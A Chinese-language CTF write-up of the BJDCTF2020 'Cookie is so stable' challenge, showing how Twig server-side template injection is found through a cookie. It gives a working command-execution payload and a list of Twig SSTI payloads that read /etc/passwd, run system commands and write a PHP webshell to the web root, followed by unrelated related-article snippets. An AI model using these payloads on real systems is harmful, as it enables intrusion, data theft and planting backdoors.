[BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

简介: [BJDCTF2020]Cookie is so stable(PHP|Twig|SSTI)

信息收集

hint页面

<!-- Why not take a closer look at cookies? -->

flag页面

输入任意内容(这里输入admin)

这里第一反应是cookie类的SQL注入?但是发现这里其实并没有实现查询信息的功能,只是将输入的内容进行打印,看下前端源码,可能是SSTI!

修改cookie

${7*7}----------{{7*7}}---------{{7*'7'}}

确认是SSTI(PHP),根据上文的流程表判定类型是Twig

在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range()函数用来返回一个包含整数等差数列的列表:

{% for i in range(0, 3) %}{{ i }},{% endfor %}

在twig 1.x版本,存在三个全局变量

  • _self:引用当前模板实例
  • _context:引用上下文
  • _charset:引用当前字符集

命令执行

payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这里可以直接修改cookie,因为直接提交会被拦截

当然flag在根目录下是猜的,我们使用命令返回的结果只有第一项

一些新版本的payload

1. {{'/etc/passwd'|file_excerpt(1,30)}}
2. 
3. {{app.request.files.get(1).__construct('/etc/passwd','')}}
4. 
5. {{app.request.files.get(1).openFile.fread(99)}}
6. 
7. {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
8. 
9. {{_self.env.enableDebug()}}{{_self.env.isDebug()}}
10. 
11. {{["id"]|map("system")|join(",")
12. 
13. {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
14. 
15. {{["id",0]|sort("system")|join(",")}}
16. 
17. {{["id"]|filter("system")|join(",")}}
18. 
19. {{[0,0]|reduce("system","id")|join(",")}}
20. 
21. {{['cat /etc/passwd']|filter('system')}}

reference

https://xz.aliyun.com/t/7518#toc-5

https://www.freebuf.com/articles/web/314028.html

https://www.cnblogs.com/bmjoker/p/13508538.html

[BJDCTF2020]Cookie is so stable | 信安小蚂蚁

目录
相关文章
|
缓存 安全 PHP
【PHP开发专栏】Twig模板引擎在PHP中的应用
【4月更文挑战第30天】Twig是Fabien Potencier开发的PHP模板引擎,以其易读性、可扩展性、安全性和高性能著称。文章分三部分介绍:1) 通过Composer安装Twig;2) 学习基本语法,如变量、表达式、标签和过滤器;3) 在Symfony和Laravel框架及独立PHP项目中应用Twig。示例展示了如何渲染模板、使用for和if标签,以及在不同框架中整合Twig。
598 0
|
JavaScript PHP Python
PHP:使用rcrowe/twigbridge在Laravel中使用Twig模板引擎
PHP:使用rcrowe/twigbridge在Laravel中使用Twig模板引擎
194 0
PHP:ThinkPHP使用Twig渲染html
PHP:ThinkPHP使用Twig渲染html
353 0
|
7月前
|
关系型数据库 MySQL PHP
PHP和Mysql前后端交互效果实现
本文介绍了使用PHP连接MySQL数据库的基本函数及其实现案例。内容涵盖数据库连接、选择数据库、执行查询、获取结果等常用操作,并通过用户登录和修改密码的功能实例,展示了PHP与MySQL的交互过程及代码实现。
432 0
PHP和Mysql前后端交互效果实现
|
前端开发 关系型数据库 MySQL
PHP与MySQL动态网站开发实战指南####
【10月更文挑战第21天】 本文将深入浅出地探讨如何使用PHP与MySQL构建一个动态网站,从环境搭建到项目部署,全程实战演示。无论你是编程新手还是希望巩固Web开发技能的老手,都能在这篇文章中找到实用的技巧和启发。我们将一起探索如何通过PHP处理用户请求,利用MySQL存储数据,并最终呈现动态内容给用户,打造属于自己的在线平台。 ####
694 0
|
关系型数据库 MySQL Linux
查看Linux、Apache、MySQL、PHP版本的技巧
以上就是查看Linux、Apache、MySQL、PHP版本信息的方法。希望这些信息能帮助你更好地理解和使用你的LAMP技术栈。
542 17
|
关系型数据库 MySQL PHP
源码编译安装LAMP(HTTP服务,MYSQL ,PHP,以及bbs论坛)
通过以上步骤,你可以成功地在一台Linux服务器上从源码编译并安装LAMP环境,并配置一个BBS论坛(Discuz!)。这些步骤涵盖了从安装依赖、下载源代码、配置编译到安装完成的所有细节。每个命令的解释确保了过程的透明度,使即使是非专业人士也能够理解整个流程。
419 18
|
关系型数据库 MySQL 网络安全
如何排查和解决PHP连接数据库MYSQL失败写锁的问题
通过本文的介绍,您可以系统地了解如何排查和解决PHP连接MySQL数据库失败及写锁问题。通过检查配置、确保服务启动、调整防火墙设置和用户权限,以及识别和解决长时间运行的事务和死锁问题,可以有效地保障应用的稳定运行。
490 25
|
SQL 关系型数据库 MySQL
PHP与MySQL的高效交互:从基础到实践####
本文深入探讨了PHP与MySQL数据库之间的高效交互技术,涵盖了从基础连接到高级查询优化的全过程。不同于传统的摘要概述,这里我们直接以一段精简代码示例作为引子,展示如何在PHP中实现与MySQL的快速连接与简单查询,随后文章将围绕这一核心,逐步展开详细讲解,旨在为读者提供一个从入门到精通的实战指南。 ```php <?php // 数据库配置信息 $servername = "localhost"; $username = "root"; $password = "password"; $dbname = "test_db"; // 创建连接 $conn = new mysqli($se
400 31
|
关系型数据库 MySQL PHP
PHP与MySQL的深度整合:构建高效动态网站####
在当今这个数据驱动的时代,掌握如何高效地从数据库中检索和操作数据是至关重要的。本文将深入探讨PHP与MySQL的深度整合方法,揭示它们如何协同工作以优化数据处理流程,提升网站性能和用户体验。我们将通过实例分析、技巧分享和最佳实践指导,帮助你构建出既高效又可靠的动态网站。无论你是初学者还是有经验的开发者,都能从中获得宝贵的见解和实用的技能。 ####
272 27